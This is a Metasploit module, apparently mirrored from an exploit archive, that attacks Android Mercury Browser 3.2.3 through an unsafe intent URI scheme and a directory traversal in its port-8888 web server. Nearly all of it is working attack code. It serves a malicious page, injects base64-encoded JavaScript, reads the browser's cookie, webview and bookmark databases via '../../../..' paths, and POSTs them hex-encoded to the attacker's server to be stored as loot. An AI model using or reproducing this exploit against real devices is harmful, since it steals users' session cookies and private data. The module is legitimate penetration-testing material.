## https://sploitus.com/exploit?id=PACKETSTORM:180747
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Android Mercury Browser Intent URI Scheme and Directory Traversal Vulnerability',
'Description' => %q{
This module exploits an unsafe intent URI scheme and directory traversal found in
Android Mercury Browser version 3.2.3. The intent allows the attacker to invoke a
private wifi manager activity, which starts a web server for Mercury on port 8888.
The webserver also suffers a directory traversal that allows remote access to
sensitive files.
By default, this module will go after webviewCookiesChromium.db, webviewCookiesChromiumPrivate.db,
webview.db, and bookmarks.db. But if this isn't enough, you can also specify the
ADDITIONAL_FILES datastore option to collect more files.
},
'Author' =>
[
'rotlogix', # Vuln discovery, PoC, etc
'sinn3r',
'joev'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://rotlogix.com/2015/08/23/exploiting-the-mercury-browser-for-android/' ],
[ 'URL', 'http://versprite.com/og/multiple-vulnerabilities-in-mercury-browser-for-android-version-3-0-0/' ]
]
))
register_options(
[
OptString.new('ADDITIONAL_FILES', [false, 'Additional files to steal from the device'])
])
end
def is_android?(user_agent)
user_agent.include?('Android')
end
def get_html
%Q|
<html>
<head>
<meta charset="utf-8" />
</head>
<body>
<script>
location.href="intent:#Intent;SEL;component=com.ilegendsoft.mercury/.external.wfm.ui.WFMActivity2;action=android.intent.action.VIEW;end";
setTimeout(function() {
location.href="intent:#Intent;S.load=javascript:eval(atob('#{Rex::Text.encode_base64(uxss)}'));SEL;component=com.ilegendsoft.mercury/com.ilegendsoft.social.common.SimpleWebViewActivity;end";
}, 500);
</script>
</body>
</html>
|
end
def backend_url
proto = (datastore['SSL'] ? 'https' : 'http')
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"
resource = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
"#{proto}://#{my_host}#{port_str}#{resource}/catch"
end
def uxss
%Q|
function exploit() {
history.replaceState({},{},'/storage/emulated/0/Download/');
var urls = #{JSON.generate(file_urls)};
urls.forEach(function(url) {
var x = new XMLHttpRequest();
x.open('GET', '/dodownload?fname=../../../..'+url);
x.responseType = 'arraybuffer';
x.send();
x.onload = function(){
var buff = new Uint8Array(x.response);
var hex = Array.prototype.map.call(buff, function(d) {
var c = d.toString(16);
return (c.length < 2) ? 0+c : c;
}).join('');
var send = new XMLHttpRequest();
send.open('POST', '#{backend_url}/'+encodeURIComponent(url.replace(/.*\\//,'')));
send.setRequestHeader('Content-type', 'text/plain');
send.send(hex);
};
});
}
var q = window.open('http://localhost:8888/','x');
q.onload = function(){ q.eval('('+exploit.toString()+')()'); };
|
end
def file_urls
files = [
'/data/data/com.ilegendsoft.mercury/databases/webviewCookiesChromium.db',
'/data/data/com.ilegendsoft.mercury/databases/webviewCookiesChromiumPrivate.db',
'/data/data/com.ilegendsoft.mercury/databases/webview.db',
'/data/data/com.ilegendsoft.mercury/databases/bookmarks.db'
]
if datastore['ADDITIONAL_FILES']
files.concat(datastore['ADDITIONAL_FILES'].split)
end
files
end
def on_request_uri(cli, req)
print_status("Requesting: #{req.uri}")
unless is_android?(req.headers['User-Agent'])
print_error('Target is not Android')
send_not_found(cli)
return
end
if req.method =~ /post/i
if req.body
filename = File.basename(req.uri) || 'file'
output = store_loot(
filename, 'text/plain', cli.peerhost, hex2bin(req.body), filename, 'Android mercury browser file'
)
print_good("Stored #{req.body.bytes.length} bytes to #{output}")
end
return
end
print_status('Sending HTML...')
html = get_html
send_response_html(cli, html)
end
def hex2bin(hex)
hex.chars.each_slice(2).map(&:join).map { |c| c.to_i(16) }.map(&:chr).join
end
def run
exploit
end
end